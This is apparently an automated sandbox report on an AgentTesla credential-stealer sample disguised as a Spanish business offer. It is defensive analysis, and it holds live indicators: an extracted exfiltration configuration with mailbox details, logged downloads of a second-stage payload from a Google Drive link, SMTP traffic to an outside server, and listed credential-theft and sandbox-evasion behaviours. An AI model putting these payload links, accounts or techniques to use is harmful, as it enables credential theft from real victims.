Play interactive tour

Edit tour

Windows Analysis Report GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe

Overview

General Information

Sample Name:	GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe
Analysis ID:	1372
MD5:	917a78f3605abfda3674fe5264a721e9
SHA1:	c753e171b3ef5b974d70de7247734e3008841fd2
SHA256:	03e08e44d9df2a0ecc7824cc1b8f41e200cee531be111ee21d56ae1a5e05821a
Infos:
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Antivirus / Scanner detection for submitted sample

Sigma detected: RegAsm connects to smtp port

Hides threads from debuggers

Writes to foreign memory regions

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to detect Any.run

Tries to harvest and steal ftp login credentials

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to steal Mail credentials (via file access)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

Creates processes with suspicious names

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

PE file contains strange resources

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Uses SMTP (mail sending)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64native

GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe (PID: 6848 cmdline: 'C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe' MD5: 917A78F3605ABFDA3674FE5264A721E9)

RegAsm.exe (PID: 8360 cmdline: 'C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe' MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 7256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "SMTP Info": "myriam@mylgestion.comMyL06myrimail.mylgestion.comjasonmicheal2099@gmail.com"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.5663356827.000000001DE9D000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.5660134124.000000001DDB1000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.5660134124.000000001DDB1000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 8360	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegAsm.exe PID: 8360	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Sigma Overview

Networking:

Sigma detected: RegAsm connects to smtp port

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 37.59.226.120, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, Initiated: true, ProcessId: 8360, Protocol: tcp, SourceIp: 192.168.11.20, SourceIsIpv6: false, SourcePort: 49739

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: conhost.exe.7256.10.memstrmin

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "myriam@mylgestion.comMyL06myrimail.mylgestion.comjasonmicheal2099@gmail.com"}

Multi AV Scanner detection for submitted file

Show sources

Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Virustotal: Detection: 25%			Perma Link
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	ReversingLabs: Detection: 13%

Antivirus / Scanner detection for submitted sample

Show sources

Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe

Avira: detected

Source: 1.0.GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe.400000.0.unpack

Avira: Label: TR/AD.Nekark.ldxvh

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CB63CEC CryptUnprotectData,		9_2_1CB63CEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CB64440 CryptUnprotectData,		9_2_1CB64440

Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: unknown	HTTPS traffic detected: 142.250.185.238:443 -> 192.168.11.20:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.193:443 -> 192.168.11.20:49719 version: TLS 1.2

Networking:

Source: Joe Sandbox View

ASN Name: OVHFR OVHFR

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1qDBeu73xAjqYSegJM8wSNOboMaZKTj_s HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/l5kienm2p56h5ornm8v1n6puocoet5fn/1632761700000/13596271228415839806/*/1qDBeu73xAjqYSegJM8wSNOboMaZKTj_s?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-04-9c-docs.googleusercontent.comConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.11.20:49739 -> 37.59.226.120:587

Source: global traffic

TCP traffic: 192.168.11.20:49739 -> 37.59.226.120:587

Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: RegAsm.exe, 00000009.00000002.5662236943.000000001DE4C000.00000004.00000001.sdmp

String found in binary or memory: subdomain_match":["go","tv"]},{"applied_policy":"EdgeUA","domain":"video.zhihu.com"},{"applied_policy":"ChromeUA","domain":"la7.it"},{"applied_policy":"ChromeUA","domain":"ide.cs50.io"},{"applied_policy":"ChromeUA","domain":"moneygram.com"},{"applied_policy":"ChromeUA","domain":"blog.esuteru.com"},{"applied_policy":"ChromeUA","domain":"online.tivo.com","path_match":["/start"]},{"applied_policy":"ChromeUA","domain":"smallbusiness.yahoo.com","path_match":["/businessmaker"]},{"applied_policy":"ChromeUA","domain":"jeeready.amazon.in","path_match":["/home"]},{"applied_policy":"ChromeUA","domain":"abc.com"},{"applied_policy":"ChromeUA","domain":"mvsrec738.examly.io"},{"applied_policy":"ChromeUA","domain":"myslate.sixphrase.com"},{"applied_policy":"ChromeUA","domain":"search.norton.com","path_match":["/nsssOnboarding"]},{"applied_policy":"ChromeUA","domain":"checkdecide.com"},{"applied_policy":"ChromeUA","domain":"virtualvisitlogin.partners.org"},{"applied_policy":"ChromeUA","domain":"carelogin.bryantelemedicine.com"},{"applied_policy":"ChromeUA","domain":"providerstc.hs.utah.gov"},{"applied_policy":"ChromeUA","domain":"applychildcaresubsidy.alberta.ca"},{"applied_policy":"ChromeUA","domain":"elearning.evn.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"telecare.keckmedicine.org"},{"applied_policy":"ChromeUA","domain":"authoring.amirsys.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"elearning.seabank.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"app.fields.corteva.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"gsq.minornet.com"},{"applied_policy":"ChromeUA","domain":"shop.lic.co.nz"},{"applied_policy":"ChromeUA","domain":"telehealthportal.uofuhealth.org"},{"applied_policy":"ChromeUA","domain":"portal.centurylink.com"},{"applied_policy":"ChromeUA","domain":"visitnow.org"},{"applied_policy":"ChromeUA","domain":"www.hotstar.com","path_match":["/in/subscribe/payment/methods/dc","/in/subscribe/payment/methods/cc"]},{"applied_policy":"ChromeUA","domain":"tryca.st","path_match":["/studio","/publisher"]},{"applied_policy":"ChromeUA","domain":"telemost.yandex.ru"},{"applied_policy":"ChromeUA","domain":"astrogo.astro.com.my"},{"applied_policy":"ChromeUA","domain":"airbornemedia.gogoinflight.com"},{"applied_policy":"ChromeUA","domain":"itoaxaca.mindbox.app"},{"applied_policy":"ChromeUA","domain":"app.classkick.com"},{"applied_policy":"ChromeUA","domain":"exchangeservicecenter.com","path_match":["/freeze"]},{"applied_policy":"ChromeUA","domain":"bancodeoccidente.com.co","path_match":["/portaltransaccional"]},{"applied_policy":"ChromeUA","domain":"better.com"},{"applied_policy":"IEUA","domain":"bm.gzekao.cn","path_match":["/tr/webregister/"]},{"applied_policy":"ChromeUA","domain":"scheduling.care.psjhealth.org","path_match":["/virtual"]},{"applied_policy":"ChromeUA","domain":"salud.go.cr"},{"applied_policy":"ChromeUA","domain":"learning.chungdahm.com"},{"applied_policy":"C

Source: RegAsm.exe, 00000009.00000002.5660134124.000000001DDB1000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: RegAsm.exe, 00000009.00000002.5660134124.000000001DDB1000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: RegAsm.exe, 00000009.00000003.2147027036.000000002000B000.00000004.00000001.sdmp	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
Source: RegAsm.exe, 00000009.00000003.2147027036.000000002000B000.00000004.00000001.sdmp	String found in binary or memory: http://cps.letsencrypt.org0
Source: RegAsm.exe, 00000009.00000003.2147027036.000000002000B000.00000004.00000001.sdmp	String found in binary or memory: http://cps.root-x1.letsencrypt.org0
Source: RegAsm.exe, 00000009.00000003.1168895053.00000000010D9000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: RegAsm.exe, 00000009.00000003.1168895053.00000000010D9000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: RegAsm.exe, 00000009.00000003.2147027036.000000002000B000.00000004.00000001.sdmp	String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
Source: RegAsm.exe, 00000009.00000002.5660134124.000000001DDB1000.00000004.00000001.sdmp	String found in binary or memory: http://harvFZ.com
Source: RegAsm.exe, 00000009.00000002.5663356827.000000001DE9D000.00000004.00000001.sdmp	String found in binary or memory: http://mail.mylgestion.com
Source: RegAsm.exe, 00000009.00000002.5663356827.000000001DE9D000.00000004.00000001.sdmp	String found in binary or memory: http://mylgestion.com
Source: RegAsm.exe, 00000009.00000003.2147027036.000000002000B000.00000004.00000001.sdmp	String found in binary or memory: http://r3.i.lencr.org/0
Source: RegAsm.exe, 00000009.00000003.2147027036.000000002000B000.00000004.00000001.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: RegAsm.exe, 00000009.00000003.2147027036.000000002000B000.00000004.00000001.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: RegAsm.exe, 00000009.00000003.2147027036.000000002000B000.00000004.00000001.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: RegAsm.exe, 00000009.00000003.1168895053.00000000010D9000.00000004.00000001.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/drive-explorer/
Source: RegAsm.exe, 00000009.00000002.5637000652.000000000109C000.00000004.00000020.sdmp, RegAsm.exe, 00000009.00000003.1173461798.00000000010D8000.00000004.00000001.sdmp	String found in binary or memory: https://doc-04-9c-docs.googleusercontent.com/
Source: RegAsm.exe, 00000009.00000002.5637000652.000000000109C000.00000004.00000020.sdmp	String found in binary or memory: https://doc-04-9c-docs.googleusercontent.com/M
Source: RegAsm.exe, 00000009.00000003.1173461798.00000000010D8000.00000004.00000001.sdmp, RegAsm.exe, 00000009.00000003.2146241908.00000000010BF000.00000004.00000001.sdmp	String found in binary or memory: https://doc-04-9c-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/l5kienm2
Source: RegAsm.exe, 00000009.00000002.5635613619.0000000001058000.00000004.00000020.sdmp	String found in binary or memory: https://drive.google.com/
Source: RegAsm.exe, 00000009.00000003.1173461798.00000000010D8000.00000004.00000001.sdmp, RegAsm.exe, 00000009.00000002.5635613619.0000000001058000.00000004.00000020.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1qDBeu73xAjqYSegJM8wSNOboMaZKTj_s
Source: RegAsm.exe, 00000009.00000002.5633868140.0000000000F90000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1qDBeu73xAjqYSegJM8wSNOboMaZKTj_swininet.dllMozilla/5
Source: RegAsm.exe, 00000009.00000002.5663356827.000000001DE9D000.00000004.00000001.sdmp	String found in binary or memory: https://qHEDRowcvxxxWAUzuEGa.com
Source: RegAsm.exe, 00000009.00000002.5663356827.000000001DE9D000.00000004.00000001.sdmp	String found in binary or memory: https://qHEDRowcvxxxWAUzuEGa.comt-Dl
Source: RegAsm.exe, 00000009.00000002.5660134124.000000001DDB1000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

Source: unknown

DNS traffic detected: queries for: drive.google.com

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1qDBeu73xAjqYSegJM8wSNOboMaZKTj_s HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/l5kienm2p56h5ornm8v1n6puocoet5fn/1632761700000/13596271228415839806/*/1qDBeu73xAjqYSegJM8wSNOboMaZKTj_s?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-04-9c-docs.googleusercontent.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 142.250.185.238:443 -> 192.168.11.20:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.193:443 -> 192.168.11.20:49719 version: TLS 1.2

Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Code function: 1_2_02512356	1_2_02512356
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00C4C080	9_2_00C4C080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00C4BA48	9_2_00C4BA48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00C43A50	9_2_00C43A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00C4F760	9_2_00C4F760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00C44320	9_2_00C44320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00C41130	9_2_00C41130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00C40260	9_2_00C40260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00C40372	9_2_00C40372
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00C43708	9_2_00C43708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00CA6868	9_2_00CA6868
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00CA1300	9_2_00CA1300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0102A8BB	9_2_0102A8BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_01029D40	9_2_01029D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0102CE70	9_2_0102CE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_01023330	9_2_01023330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CB64CC8	9_2_1CB64CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CB6B940	9_2_1CB6B940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CB66ED8	9_2_1CB66ED8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CB686C6	9_2_1CB686C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CB6F220	9_2_1CB6F220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CB60F88	9_2_1CB60F88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CB65078	9_2_1CB65078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CB6E9D0	9_2_1CB6E9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CB60F85	9_2_1CB60F85
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CB6FB60	9_2_1CB6FB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CC40918	9_2_1CC40918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CC42120	9_2_1CC42120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CC472B0	9_2_1CC472B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CC4A580	9_2_1CC4A580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1CC472AE	9_2_1CC472AE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1DBD5E08	9_2_1DBD5E08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1DBD4ACC	9_2_1DBD4ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1DBD5DC1	9_2_1DBD5DC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_1DBD6AF1	9_2_1DBD6AF1

Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe, 00000001.00000000.584448907.0000000000417000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameelect.exe vs GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Binary or memory string: OriginalFilenameelect.exe vs GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe

Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edgegdi.dll	Jump to behavior

Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Virustotal: Detection: 25%
Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	ReversingLabs: Detection: 13%

Source: GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe 'C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe'
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe'	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe

File created: C:\Users\user\AppData\Local\Temp\~DF7E440141B644C9D6.TMP

Jump to behavior

Source: classification engine

Classification label: mal100.spre.troj.spyw.evad.winEXE@4/1@3/4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7256:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7256:120:WilError_03

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Code function: 1_2_00403752 push eax; ret	1_2_004037A5
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Code function: 1_2_00406552 push es; ret	1_2_00406561
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Code function: 1_2_00403558 pushfd ; ret	1_2_00403561
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Code function: 1_2_00404FF6 push ecx; ret	1_2_00404FFC
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Code function: 1_2_0251005D push edi; retf	1_2_0251005E
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Code function: 1_2_0251282B push esp; ret	1_2_0251282C
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Code function: 1_2_025139D9 push ss; retf	1_2_02513A00
Source: C:\Users\user\Desktop\GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe	Code function: 1_2_025139A5 push ss; retf	1_2_02513A00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00C4E5C0 push ds; iretd	9_2_00C4E6CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00C4E5B0 push ds; iretd	9_2_00C4E5B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00C4C6A9 push es; iretd	9_2_00C4C6AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00C4FF9F push esp; ret	9_2_00C4FFAA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00C4C7B0 push es; iretd	9_2_00C4C7B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00C4D768 push ss; iretd	9_2_00C4D76A
